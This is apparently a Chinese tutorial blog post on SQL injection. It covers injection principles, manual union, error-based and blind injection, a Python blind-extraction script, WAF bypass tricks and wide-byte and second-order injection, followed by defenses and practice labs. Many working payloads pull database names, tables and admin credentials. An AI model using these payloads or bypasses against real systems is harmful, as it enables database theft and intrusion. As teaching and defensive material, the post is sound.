直接说结论SQL注入到现在二十多年了从1998年第一次被公开提出到现在它依然坚挺地排在OWASP Top 10榜单里每年因为SQL注入被拖库、被删库、被勒索的事件从来没断过。很多刚入门的安全爱好者总觉得这玩意太老、太基础不屑于深挖很多开发者也觉得“我用了ORM我做了参数化查询肯定没事”——但现实是我这两年做授权测试时仍然能在不少系统里用最基础的单引号探出注入点。这篇文章不整那些虚的直接围绕SQL注入的原理、手工注入完整流程、报错与盲注的写法、绕过思路、防护手段这几个核心板块展开配合靶场实操记录尽量把每个环节的“为什么”讲透让你看完之后不光会抄Payload还能自己根据实际情况变形。先说点背景。所谓SQL注入SQL Injection本质上是攻击者把恶意SQL代码片段拼接到应用层传入数据库的查询语句里改变了原始SQL语句的语义。它之所以能存在根源在于“数据和代码没有分离”——用户输入被当成了可执行代码的一部分。一句话总结就是用户输入直接拼SQL还不做任何校验那这接口基本就裸奔了。我见过不少开发同学对SQL注入的理解停留在“在登录框里输入 or 11--就能进后台”然后觉得这玩意很好防。其实真到实战SQL注入的姿势远比这复杂注入点可能在参数里、在Cookie里、在Referer里、在文件名的后缀里甚至藏在JSON字段中。这篇文章适合这几类人看刚入门Web安全、打算系统过一遍SQL注入的新手写后端接口但没认真研究过安全编码的开发者以及想在面试前把SQL注入讲出深度的人。我会把手工注入、工具使用、防护修复、绕过姿势这条线完整串下来尽量让每个环节都可落地、可复现。1. 先把SQL注入的原理彻底吃透1.1 一个最简单的注入例子看数据如何被“带偏”理解SQL注入最好的方式就是看一个具体例子。假设后端有一个根据新闻ID查详情的接口PHP代码大概长这样$id $_GET[id]; $sql SELECT title, content FROM news WHERE id . $id; $result mysqli_query($conn, $sql);正常情况下用户访问/news.php?id1后台拼接出的SQL语句是SELECT title, content FROM news WHERE id 1这没问题。但问题是如果用户传入id 1 and 12拼接出来的语句就变成SELECT title, content FROM news WHERE id 1 and 12这条SQL在逻辑上永远为假页面就不会返回任何数据。如果用户传入id 1 and 11条件恒为真页面正常显示。这就是最基本的判断注入点的技巧——通过制造恒真、恒假条件观察页面响应是否存在差异从而确认参数是否进入了SQL语句的运算逻辑。再进一步如果传id 1 union select username, password from admin--拼接结果就是SELECT title, content FROM news WHERE id 1 union select username, password from admin--两个查询的结果集合并在一起如果前端的展示逻辑是遍历结果集那么后台管理员的账号密码就直接被渲染到页面上了。这就是“联合注入”的基本思路。注意这个例子是我在很多CTF题和靶场里反复用到的原型真实的业务系统结构更复杂但这条链路的本质不会变。1.2 SQL注入产生的三个必要条件缺一不可很多人问过我一个问题为什么有的接口传了引号会报错有的接口传了引号却安然无恙答案要回到SQL注入的三个前提条件用户输入被拼接到SQL语句中这是最核心的条件。如果输入是通过参数化查询或存储过程传递的输入只会被当成“数据”处理永远不会变成“代码”。拼接方式存在语法缺口比如拼接时没有对单引号做转义或者使用的是数字型参数却没有加引号包裹导致攻击者可以用引号、注释符、闭合符号改变SQL原始结构。数据库返回结果可以被感知注入成功与否总得有反馈通道。这种反馈可能是页面内容的变化、报错信息、响应时间差异甚至只是HTTP状态码的细微变化。没有反馈通道的注入理论上存在但利用成本极高。这三个条件是判断一个点“能不能注”的底层逻辑。我在实际测试时首先看代码有没有用参数化查询用了就基本可以直接跳过其次看参数类型和拼接方式最后通过响应差异判断反馈通道的类型是显式的还是盲注。这套思路也可以反过来用作为开发者只要切断三个条件中的任何一个这个洞基本就堵上了。后面讲防护时会专门展开。1.3 按数据位置分类数字型、字符型、搜索型SQL注入按参数在SQL语句中的位置可以粗暴分成三大类每一类的闭合方式和使用技巧都不一样。数字型注入参数直接以数字形式拼入SQL不带引号。这种注入最简单因为不需要考虑引号闭合问题直接拼接SQL片段即可。常见于ID、年龄、数量、页码等参数。判断方法也简单输入1 and 11和1 and 12看响应是否不同。字符型注入参数被单引号或双引号包裹。这种注入需要先“闭合”掉前面的引号再注释掉后面的多余内容。经典万能密码就是这样来的SELECT * FROM users WHERE username admin AND password xxx如果输入用户名为admin--语句就变成SELECT * FROM users WHERE username admin-- AND password xxx--后面在MySQL里被当成注释所以password的校验条件被完全绕过。字符型注入的关键动作是先闭合再注释。常见的闭合符有单引号、双引号、括号下面这几种Payload要烂熟于心 -- # and 11-- or 11 or ) or (11搜索型注入参数在SQL里通常配合LIKE使用比如搜索标题SELECT * FROM news WHERE title LIKE %关键字%注入点在关键字位置常见的利用方式是传入% and 11--让语句变成SELECT * FROM news WHERE title LIKE %% and 11-- %搜索型的坑在于%本身就是SQL的通配符既能用来闭合和注释也能干扰原有匹配逻辑。新手最容易在这里栽跟头因为打印出来的SQL一眼看去非常别扭根本不知道闭合点在哪儿。1.4 按反馈方式分类显注、报错注入、布尔盲注、时间盲注除了按位置分类更实战的分类方式是按“反馈通道”划分。这个划分直接决定你用什么工具、写什么脚本。显式注入查询结果直接被页面展示用UNION SELECT联合查询就能一条条拖数据。CTF题里的大部分注入点属于这种。报错注入页面本身不展示查询结果但会把数据库报错信息直接回显。这时可以利用数据库函数故意触发报错把数据塞进报错信息中。MySQL里常用的有updatexml()、extractvalue()等。后面我详细讲写法。布尔盲注页面不显示数据也不报错但会因SQL逻辑真/假返回两种不同的页面状态。这时候就只能一个一个字符地猜判断条件真假来逐位获取数据。时间盲注连页面状态都不变只能靠数据库执行延迟来判断。常用sleep()函数如果构造的条件为真就延迟几秒为假就立即返回。表格整理一下会更直观类型反馈通道代表函数/手法利用难度显式注入页面展示查询结果UNION SELECT低报错注入数据库报错信息回显updatexml, extractvalue低布尔盲注页面状态真/假差异substr, ascii, length中时间盲注响应时间延迟sleep, benchmark高搞清楚自己面对的是哪一型比背一百个Payload管用得多。我自己做测试的习惯是先一个单引号试探反应然后根据报错信息判断数据库类型和报错回显情况再决定走哪条利用路线。2. 手工注入全流程拆解从判断到拖库2.1 找注点和判断数据库类型这一步决定后续走向手工注入的第一步永远不是直接上UNION SELECT而是先确认三件事参数是否存在注入、注入类型是什么、后端是什么数据库。我见过很多新手一上来就报错注入结果Oracle和MySQL的函数完全不一样卡了半天才发现是数据库类型搞错了。先说找注点的方式。最原始也最有效的方式是加单引号?id1 ?id1 ?id1 and 11 ?id1 and 12如果传单引号报错但传两个单引号不报错说明SQL语句对引号处理敏感存在注入可能。如果and 11和and 12返回的页面有差异说明我们已经可以控制这个参数进入SQL逻辑了。然后是判断数据库类型。我最常用的两条路径观察报错信息MySQL报错一般形如You have an error in your SQL syntax near xxx末尾会带版本号Oracle的报错形如ORA-01756: quoted string not properly terminatedSQL Server的报错像Unclosed quotation mark before the character string xxx。这些错误串特征非常明显。用特定语法探测Oracle查询当前表用dual执行union select 1 from dual如果成功说明是OracleMySQL可以直接select version()SQL Server用select version。数据库类型判断错了后面全白干。MySQL、Oracle、SQL Server、PostgreSQL这四大主流数据库的注入语法差异很大具体差异我放一个简易对照表在下方。项目MySQLOracleSQL Server拼接注释符--、#----当前版本函数version()需要从v$version查version获取库名database()SELECT name FROM v$databaseSELECT db_name()延时函数sleep(5)dbms_pipe.receive_messagewaitfor delay 0:0:5报错函数updatexml,extractvaluectxsys.drithsx.snconvert(int, version)分页写法limit 0,1rownumorder by / offset fetch2.2 联合注入完整演示一条条字段“数”出来拿到一个显式注入点后最常用的是UNION联合查询。联合查询要求前后两个结果集的列数完全一致所以第一步是“数列”。方法是用order by从句逐个试?id1 order by 1 ?id1 order by 2 ?id1 order by 3当order by N报错时说明查询字段数少于N反之最大的不报错N就是当前查询的字段数。假设测试到order by 5时报错而order by 4正常那当前查询就是4列。确定列数后接着找“数据回显位置”。Payload这样写?id-1 union select 1,2,3,4这里把id设成负数或者一个不存在的ID是为了让原始查询结果为空这样UNION后面构造的数据才有机会被页面渲染出来。如果页面上显示了2和3说明这两个位置可以用来放敏感查询比如?id-1 union select 1,database(),user(),4页面上2的位置就会显示当前数据库名3的位置显示当前数据库用户。在真实测试里这一步确认之后后面就是常规操作了查库名、查表名、查列名、查数据。以MySQL为例完整的“查表名”Payload?id-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()这里information_schema.tables是MySQL的元数据表存了所有数据库的所有表名group_concat()把多条记录拼成一行方便在单点回显场景下一次性看多个表名。查目标表的列名?id-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_nameusers拿到列名后再查数据?id-1 union select 1,group_concat(username,0x3a,password),3,4 from users0x3a是冒号的十六进制用来拼接用户名和密码保持可读性。这里有个非常容易踩的坑列名是敏感词比如order、from、table直接写在SQL里会报语法错误。这时候要么用反引号把它包起来要么用十六进制编码。在靶场和实战中都见过因为列名name带特殊含义而让一批新手卡住的情况提前避雷。2.3 报错注入的核心思路把数据“吵”出来现实里能够直接展示查询结果的接口其实不多更多情况是查询执行了但结果只在后端处理不回显到前端。这时候如果页面恰好把数据库的报错信息回显出来就给了我们另一条路——报错注入。MySQL最常见的报错注入函数是updatexml()和extractvalue()它们的核心原理是这两个函数本来是用来解析XML文档的如果我们传入的XML路径表达式XPath格式错误函数就会抛出异常异常信息里会包含我们拼接进去的内容。updatexml()的标准报错Payload?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)concat(0x7e, ...)是为了在报错信息前后各加一个波浪号~方便截取内容因为报错信息有长度限制。updatexml()报错信息只能显示32个字符左右一次查一个数据如果数据太长就要用substr()配合截取比如?id1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,20)),1)extractvalue()思路完全一致只是函数名不同?id1 and extractvalue(1,concat(0x7e,(select user())))报错注入的限制很多但核心优势是快。在布尔盲注一条条猜半天的时候报错注入基本上几个请求就能拿到数据。唯一要注意的是报错信息里的内容会经过一层HTML编码看到变成amp;不用慌浏览器解码后就是原始数据。2.4 布尔盲注与时间盲注没有回显就逐字“猜”遇到那种页面既不回显查询结果、也不回显报错信息的场景就要上盲注了。盲注的思想不复杂既然正面拿不到数据就构造一个个“是非题”让数据库回答通过页面变化或时间延迟来判断答案。布尔盲注最核心的判断逻辑?id1 and ascii(substr((select database()),1,1))97如果数据库名第一个字符的ASCII码大于97也就是大于字母a条件为真页面返回正常内容否则页面返回异常内容。然后逐步调整阈值二分逼近就能确定具体字符。接着把substr(...,1,1)改成substr(...,2,1)就能逐个字符拖出完整数据库名。我自己的习惯是先用手工确认一两个字符再直接写脚本跑。Python里用requests库通过判断响应长度的方式写个简单的布尔盲注脚本大概逻辑是这样import requests url http://target.com/news.php payload_template 1 and ascii(substr((select database()),{pos},1)){mid} def get_response_length(payload): r requests.get(url, params{id: payload}) return len(r.text) # 以二分法求每个位置的字符 def inject(): result for pos in range(1, 33): low, high 32, 127 while low high: mid (low high) // 2 payload payload_template.format(pospos, midmid) if get_response_length(payload) 500: # 正常页面长度阈值 low mid 1 else: high mid result chr(low) print(result) return result这个脚本只是演示最小逻辑实际使用得根据目标站点的正常/异常页面长度特征调整阈值比如先分别请求id1 and 11和id1 and 12拿到两种状态的基准长度。时间盲注是更极端的场景连页面内容都不变只能通过sleep()制造延迟来传递信息。MySQL下最常见的写法?id1 and if(ascii(substr((select database()),1,1))97,sleep(3),0)如果条件为真就睡3秒为假就立即返回。这是把布尔盲注的“页面差异”换成了“时间差异”判断逻辑完全一样只是慢得多。单字符二分法平均要6到8次请求每次还可能等几秒所以时间盲注一定要写自动化脚本手工一次一次试会崩溃的。3. 绕过与对抗真实的SQL注入从来不会写得太直白3.1 绕WAF的思路本质是对“特征匹配”的攻击很多系统前面挂了WAFWeb应用防火墙最常见的方式就是关键词黑名单拦截。一旦检测到union、select、sleep、单引号这些特征就直接拒绝请求。这种情况下注入思路要从“构造SQL”变成“构造一个WAF认不出来、但数据库能正常解析的SQL”。核心手法有这几类大小写混写Union Select、uNiOn SeLeCt这种方法只能绕过极其粗糙的大小写规则现在基本没用了。注释符切割把关键词用注释符拆开如un/**/ion sel/**/ect。MySQL会在解析时忽略注释符而WAF的特征匹配看到的却是两个被拆开的残缺词。URL编码绕过把部分字符做URL编码、二次编码比如把空格编码成%20或把单引号编码成%27。等价函数替换sleep()被拦截就换benchmark()substr()被拦截就换left()、right()、mid()ascii()被拦截就换hex()或ord()。我印象比较深的一次测试是目标站点的WAF把所有包含information_schema的请求全拦了但sys.schema_table_statistics这种系统视图没拦。于是我用sys库的表统计视图替代information_schema.tables照样拿到了目标表名。这就是典型的等价替换思路——数据库里能查元数据的地方不止一个WAF不可能把所有路径全部封死。3.2 编码绕过与超长参数截断参数编码也是常用手段。比如SQL Server支持在SQL语句中用0x开头表示十六进制字符串因此字符串可以用十六进制表示避免出现引号?id1 union select 0x61646D696E,2,30x61646D696E就是字符串admin的十六进制。这种手法可以直接绕掉对单引号和关键字符串的检测。超长参数截断则是利用某些数据库或框架对SQL语句长度的限制。MySQL有一个变量max_allowed_packet如果请求参数过长部分WAF为了不消耗过多性能会只检查前N个字符就放行。这时可以把恶意Payload放到参数的最后面利用截断机制让WAF根本没看到危险代码。这个方法在真实环境成功率不好说但属于思路拓展知道没坏处。3.3 二次注入与宽字节注入两个绕不开的老熟人宽字节注入主要发生在数据库使用GBK编码、且开发者用addslashes()这类函数转义用户输入的场景。addslashes()会把单引号变成\攻击者在前面补一个%df后台拼接时GBK编码会把%df\解释成一个完整的宽字节字符比如“運”后面的单引号就“逃逸”出来了从而闭合原语句。这个经典绕过方式的根源是字符集与转义顺序不匹配。现在的系统基本都默认UTF-8但老系统里还是能见到。二次注入则是更隐蔽的存在。开发者可能对输入做了转义数据安全入库但后续某个功能把这个数据直接从数据库取出来拼到另一条SQL里执行。转义只在写入时生效取出来拼接时不会二次转义注入就发生在第二个使用点。比如注册时用户名可以带单引号数据库里存着admin--后续管理员在后台用用户名拼SQL查询用户信息时这个引号就直接起作用了。二次注入之所以难发现就是因为问题不出现在注入点本身而在数据流转的“下游”。4. 怎么修才能真正把SQL注入堵死4.1 参数化查询防御SQL注入的黄金准则在所有防御手段里参数化查询PreparedStatement是公认最靠谱的。它的本质是让数据库先编译SQL语句结构再把参数作为纯数据传入彻底切断“输入变成代码”的路径。以Java JDBC为例String sql SELECT * FROM news WHERE id ?; PreparedStatement ps connection.prepareStatement(sql); ps.setInt(1, Integer.parseInt(id)); ResultSet rs ps.executeQuery();用?占位符代替直接拼接然后用setXxx()方法传入参数值数据库知道这个位置只会是数据不会是SQL结构。这是推荐的第一选择。其他语言对应方案类似Python的cursor.execute(sql, (param,))PHP的PDO::prepare()Go的db.Query(sql, param)。光用参数化查询还不够几个配套原则也要坚持最小权限原则应用连数据库的账号只给SELECT需要的权限涉及写入的功能单独用受限账号。就算注入发生了攻击者能做的事也会被限制在一个很小的范围内。输入校验不放水数字类型的参数后端强校验必须是整数直接拦掉非数字内容。白名单校验永远比黑名单可靠。报错信息不外露数据库连接异常时不要直接把Exception堆栈抛给前端统一返回一个通用错误页。这能直接掐断报错注入的反馈通道。4.2 从编码和数据库配置层面加固如果因为历史原因一段代码暂时做不到参数化改造那至少要把下面几件事做了严格使用预编译如果框架支持ORM优先用ORM的参数绑定功能禁止把外部参数直接拼进原生SQL。对审计时发现的“拼接点”可以做一个团队内部的代码规范禁止新增任何字符串拼接SQL。关闭错误回显把生产环境的display_errors关掉同时把应用日志里的SQL错误信息脱敏。数据库账号降权业务账号只授权业务库取消FILE、SUPER这类高权限从根上降低通过SQL注入去读写服务器文件的可能。部署WAF作为兜底WAF拦截不了所有注入但能挡住绝大多数自动化扫描器的试探流量作为纵深防御的一层来部署很值得。这里提醒一句市面上有些“一键安全加固”工具会对代码做全局检测和替换但自动化工具会误报和漏报。靠得住的还是代码审查加团队安全意识培训尤其要在代码评审环节针对SQL操作做专项检查。4.3 拦截Payload的关键位置与白名单策略针对业务侧的输入校验我建议按“白名单优先、黑名单兜底”来设计。白名单思路是接口参数只要是数字就强制is_numeric()/intval()处理只要是枚举值就匹配固定集合这类场景基本不存在注入空间因为输入空间被锁死了。对于必须接受字符串的场景比如搜索框、留言、注册用户名需要做输入长度限制、内容类型校验邮箱就严格验证邮箱格式以及特殊字符过滤。过滤黑名单如何取舍根据实际经验下面这些字符在业务允许的情况下建议重点拦截单引号、双引号、反引号分号、--、#、/* */SQL关键字如union、select、sleep、benchmark、updatexml注释符与换行符的组合不过要清醒认识到黑名单是条漏水的船总有机会被绕过。所以黑名单只能作为“减少攻击面”的辅助真正的防线还是参数化查询和权限控制。5. 常见问题与排查技巧实录5.1 明明判断有注入为什么联合注入就是不成功这是新手最高频的问题。通常原因就集中在三个地方。第一个是字段数不对order by测出来的列数和union select里写的列数不一致一执行就报错。第二个是回显位置没找准union select 1,2,3时页面上可能只渲染了某几列的数据你把查询目标放在没回显的列上怎么试都看不到数据。第三个是数据类型不匹配有些数据库对UNION两侧的字段类型要求严格整数列后面接字符串会报错需要把常量包一层引号或做类型转换。排查思路我一般是这样先order by确认列数然后用union select null,null,null这种全NULL写法测试因为NULL可以兼容任意类型。成功后再逐个换成有值常量观察哪些位置有回显。确定了回显列再替换成实际查询表达式。5.2 WAF拦截时如何确认是哪一个关键字被拦遇到请求被WAF拦截第一步不是瞎换关键字而是做“二分排除”。把Payload里的片段一个个去掉重发哪个片段去掉后请求恢复正常那个片段就是被拦截的特征。比如1 and updatexml(1,concat(0x7e,database()),1)被拦去掉updatexml后正常说明是函数名被匹配到了如果去掉database()后正常说明是database这个词被匹配到了。定位到具体特征后再决定用注释分割、编码还是等价替换。这里有个实用技巧WAF的规则通常对“完整的危险函数调用”更敏感。我测试时经常把函数名和括号之间插入注释符比如updatexml/**/(1,concat(...),1)很多WAF的正则匹配不到这种形态。以及concat也可以拆成con/**/cat。5.3 靶场怎么选以及实操中的心态建议练手的靶场我推荐按顺序来。DVWA是最经典的入门靶场自带SQL Injection模块还分了Low、Medium、High三个安全级别能直观地感受同一漏洞在不同防护强度下的利用差异。SQLi-Labs则是最全面的SQL注入专项靶场从简单到复杂一共几十关每一关都对应一种特定场景数字型、字符型、报错、盲注、堆叠注入、绕过全覆盖建议把前四十关全部亲手过一遍比看十篇教程都管用。Pikachu靶场里把各种Web漏洞都串了起来SQL注入模块适合综合练习。CTFHub的技能树也值得刷它的SQL注入关卡更贴近CTF比赛的出题思路对手工注入的熟练度要求更高。实操中的心态建议有两条。第一不要一上来就开sqlmap。sqlmap确实强大但如果你连注入原理、手工注入流程都没走通过工具出来的结果你能看懂但未必讲得清楚面试一问就露馅。我的建议是前20次练习全部手工完成等到能不看笔记打出常用Payload的时候再上工具提效。第二靶场通关和真实渗透是两回事。真实系统里没有提示参数可能在Cookie、Header里返回数据的形态千奇百怪这些都得靠经验积累。我个人的体会是SQL注入这关几乎是Web安全所有技术栈的交叉点编程语言、数据库、网络协议、编码规范全都要懂一点。把它吃透了再去学文件上传绕过、命令注入、SSRF很多思路都是相通的。一套注入流程走下来你对一个Web应用的运行机制理解会比只写业务代码的那几年深得多。
